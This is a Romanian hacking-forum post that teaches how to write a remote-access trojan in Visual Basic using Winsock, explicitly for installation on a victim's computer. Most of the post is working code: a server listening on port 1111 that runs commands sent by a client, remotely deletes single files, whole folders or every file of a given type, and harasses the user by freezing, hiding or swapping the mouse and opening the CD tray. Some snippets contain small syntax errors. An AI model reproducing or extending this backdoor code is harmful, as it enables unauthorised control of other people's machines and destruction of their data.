EliteHackers
SALUT 2022!! NE-AM MUTAT PE DISCORD ! Vrei să inviți un prieten? [T]eoria [H]aosului [C]ontrolat - https://discord.com/invite/U4HBCHzm7r Acesta aste link-ul oficial al acestui server.
Lista Forumurilor Pe Tematici
EliteHackers | Reguli | Inregistrare | Login

POZE ELITEHACKERS

Nu sunteti logat.
Nou pe simpatie:
Nebunyka pe Simpatie.ro
Femeie
21 ani
Bacau
cauta Barbat
21 - 52 ani
EliteHackers / Programare / virus in visual basic Moderat de Ad_Infinitum, AntiKiler, Puscas_marin, r3v
Autor
Mesaj Pagini: 1
luyzette
EliteHackers Diamond

Inregistrat: acum 16 ani
Postari: 117
Aici aveti pria parte despre cum creem virusi in Visual basic. Pentru ca nu incape, am sa pun in acelasi post, dar in mai multe subiecte. In fiecare va exista un listing a ce contine.
+ Conectarea a doua executabile folosind Winsock , explicata detaliat
+ Functii
- Swap Mouse Buttons
- Freeze Mouse
- Crazy Mouse
- Hide Mouse
- Open / Close CDRom
Sa incepem .

Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul .

Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox .

Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date .

Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client .

Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock .

Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ?

Private Sub Form_Load()
On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului .
Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port )
Winsock1.Listen ' Setam serverul sa astepte date de la client , acum serverul va asculta pe portul 1111
End Sub

Serverul va trebui rulat . Apoi in client , ne conectam la server , folosind butonul de conectare :

Private Sub Command1_Click()
On Error Resume Next ' La fel
Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista
Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 ( localhost )
Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server . Va trebui sa fie acelasi la care asculta serverul .
Winsock1.Connect ' Conectam clientul la server
End Sub

In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita .

Private Sub Winsock1_Connect()
Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox .
End Sub

In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare :

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Form1.Caption = "Eroare la conectare"
End Sub

Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea .

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista
Winsock1.Accept requestID ' Acceptam conexiunea de la client
End Sub

Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei .

Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul .

Private Sub Command2_Click()
On Error Resume Next
Winsock1.SendData "notepad" ' Trimitem stringul "notepad"
End sub

La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele .

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String ' Declaram variabila date_primite de tipul string
Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite .
If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad .
Shell "notepad.exe" ' Deschidem notepad .
End If ' Inchidem instructiunea If
End Sub

Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu .

Mai puneti pe Form un buton si un TextBox .

Private sub Command3_click()
On Error Resume Next
Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text .
End Sub

In server vom procesa datele primite :

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String
Dim Vector() As String ' Declaram vectorul Vector() de tip string .
Winsock1.GetData date_primite
Vector() = Split(date_primite,"|" ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) .
If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj"
MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client.
End If ' Inchidem instructiunea If
End Sub

Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt :

0 - sckClosed - Conexiunea e inchisa
1 - sckOpen - Conexiunea e deschisa
2 - sckListening - Conexiunea e in asteptare
3 - sckConnectionPending - Conexiune in desfasurare
4 - sckResolvingHost - In curs de rezolvare
5 - sckResolved - Sistem gazda rezolvat
6 - sckConnecting - Se conecteaza
7 - sckConnected - Conectat
8 - sckClosing - Se inchide conexiunea
9 - sckError - Eroare

Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server .

Private Sub Command2_Click()
If Winsock1.State <> 7 ' State-ul este 7 daca este conectat
MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" .
Else: Winsock1.SendData "notepad" ' Daca e conectat , atunci permitem trimiterea datelor
End If
End Sub

Sa punem niste functii Trojanului nostru .

Vom incepe cu ceva mai simplu , de exemplu stergerea unui fisier . Pentru a sterge un fisier vom folosi functia Kill urmata de locatia fisierului . Deci din client vom trimite un string "kill" urmat de delimitator "kill|" si un alt string , reprezentat de continutul unui textbox care va contine locatia fisierului pe care vrem sa il stergem . In client , pe un buton ( nu uitati sa adaugati textbox ) :

Winsock1.SendData "kill|" + Text3.Text ' Facem ceea ce ne-am propus mai sus

Iar in server , vom sterge fisierul . Daca fisierul nu exista va interveni o eroare , dar vom folosi handlerul de erori .

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim date_primite As String
Dim Vector() As String
Winsock1.GetData date_primite
Vector() = Split(date_primite,"|"
If Vector(0) = "kill" Then
Kill Vector(1)
End If
End Sub

Pentru stergerea unui folder vom proceda la fel . Vom folosi functia RmDir urmata de locatia folderului .

RmDir Vector(1) ' Unde Vector(1) este continutul altui Textbox , si reprezinta locatia folderului care urmeaza sa fie sters .

Putem sterge de exemplu toate fisierele dintr-un folder folosind sintaxa : Kill Folder/*.* , sau fisierele cu o anumita extensie dintr-un folder Kill Folder/*.exe . Cum vom proceda :

Kill Vector(1) & "\\\\*.*" ' Pentru stergerea tuturor fisierelor dintr-un folder ( trimis din client )
Kill Vector(1) & "\\\\*.exe" ' Pentru stergerea tuturor executabilelor din folderul primit de la client

Sa adaugam serverului nostru niste functii mai "utile" .

Pentru cele mai multe functii dintre ele vom avea nevoie de un API ( Application Programming Interface ) . Ce este acest API ? Este o functie care se afla intr-una din librariile Widowsului ( user32.DLL , kernel32.DLL ... ) . Noi putem folosi aceste API-uri in programele noastre din Visual Basic declarandu-le ca functii astfel ( de exemplu ) :

Private Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long

Private sau Public reprezinta tipul functiei . Daca declarati aceasta functie in sectiunea Declarations a Form-ului vostru va trebui declarata Private , iar daca o declarati intr-un modul va trebui declarata Public . De ce ? O functie declarata ca Private poate fi folosita numai unde a fost declarata , de exemplu daca ai declarat o functie ca privata intr-un modul , vei putea folosi functia numai in modul , daca o declari ca publica o poti folosi oriunde in programul tau .
Declare Function e necesar pentru ca Visual Basic sa recunoasca functia ca apartinand unei librarii .
SwapMouseButton reprezinta numele functiei , numele pe care il vei folosi in aplicatia ta .
Lib este un cuvant cheie , care specifica libraria in care se afla functia noastra , in cazul nostru user32.dll .
Alias este un cuvant cheie care specifica numele pe care il are functia in libraria din care face parte , in cazul nostru SwapMouseButton .
Ceea ce se afla in paranteze reprezinta argumentele functiei , parametri . ByVal marcheaza faptul ca argumentul bSwap este transmis prin valoare , la unele veti intalni ByRef care marcheaza faptul ca un argument este transmis prin referinta . Care e diferenta dintre ele ? Daca pentru a apela functia care necesita un argument care sa fie transmis prin valoare , folosim o variabila , aceasta isi va pastra valoarea initiala . Pentru un argumet transmis prin referinta , variabila pe care o folosim va avea valoarea modificata dupa apelul functiei . As Long din paranteza reprezinta tipul parametrului .
As Long din afara parantezei reprezinta tipul functiei , tipul valorii pe care o va returna functia .

Sa incepem cu ceva mai simplu . Sa vedem ce putem face cu mouse : Freeze , Swap Buttons , Crazy , Hide . Sa folosim functia descrisa mai sus : SwapMouseButton pentru inceput .

>> Swap Mouse Buttons - adica sa inversam butoanele mouseului .
Functia noastra are nevoie de un singur parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam . Dupa ce vom declara functia , in serverul nostru la evenimentul Winsock1_DataArrival vom adauga :

If date_primite = "swapmouse" Then
SwapMouseButton 1 ' Folosim APIul pentru a inversa butoanele mouseului . Pentru revenire la normal vom folosi 0 in loc de 1 : SwapMouseButton 0 .
End If

>> Freeze Mouse - adica mouseul ramane mereu in acelasi loc . Cum facem asta ? Simplu . Folosim un Timer in care setam pozitia mouseului in acelasi loc . Pentru aceasta vom avea nevoie de alt API :

Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long

Aceasta functie are 2 parametri : x si y . Acesti parametri reprezinta pozitia cursorului mouseului dupa apelul functiei . Pentru a "ingheta" cursorul folosim un Timer la interval 1 .

Private Sub Timer1_Timer()
x = SetCursorPos(300, 500) ' La intamplare 300 , 500 , acestea fiind coordonatele la care va fi blocat mouseul , de fapt coordonatele la care va fi setat continuu . Pentru a se reveni la normal oprim timerul .
End Sub

>> Crazy Mouse - cursorul mouseului apare aleator pe ecran . Vom folosi acelasi API ca si la Freeze , vom folosi la fel un Timer la interval 100 sa zicem , numai ca vom seta coordonatele cursorului aleator .

Private Sub Timer2_Timer()
x = SetCursorPos(Rnd * 1000, Rnd * 1000) ' Setam coordonatele cursorului la coordonate aleatoare cuprinse intre 0 si 1000 . La fel , pentru a se reveni la normal , oprim timerul .
End Sub

>> Hide Mouse - ascundem cursorul mouseului . Pentru aceasta vom avea nevoie de urmatorul API :

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Aceasta functie , ca si SwapMouseButton are nevoie de un singur parametru , bShow . Acesta daca este False , cursorul mouseului nu va fi vizibil , iar daca este True , se va reveni la normal .

If date_primite = "hidemouse" Then
ShowCursor False ' Ascundem cursorul mouseului . Pentru a il afisa din nou : ShowCursor True
End If

>> Open / Close CDRom - deschidem / inchidem CDRomul .

Vom avea nevoie de urmatorul API :

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _
(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

E putin mai dificil . Aceasta functie are 4 parametri : lpstrCommand , lpstrReturnString , uReturnLength , hwndCallback .
Primul parametru este cel care ne intereseaza pe noi . Acesta este un string specific MCI ( Multimedia Command Strings ) . Al doilea parametru reprezinta un o variabila in care se vor memora datele de iesire a functiei , noua nu ne trebuie insa si in cazul nostru va fi 0 . Al III-lea parametru reprezinta marimea celui de-al II-lea . Nu ne trebuie si in cazul nostru va fi 0 . Cel de-al IV-lea parametru de asemenea nu ne intereseaza . Conteaza numai daca primul parametru este "notify" . In fine , sa trecem la ale noastre . Pe noi ne intereseaza decat primul parametru . Acesta in cazul nostru va fi pentru Open CDRom : "Set CDAudio Door Open Wait" , iar pentru Close CDRom va fi "Set CDAudio Door Closed Wait" . Desigur , primul parametru poate avea multe valori .
Deci codul nostru pentru CDRom va arata asa :

mciSendString "Set CDAudio Door Open Wait", 0, 0, 0 ' Pentru Open
mciSendString "Set CDAudio Door Closed Wait", 0, 0, 0 ' Pentru Close


_______________________________________


pus acum 16 ani
   
Pagini: 1  

Mergi la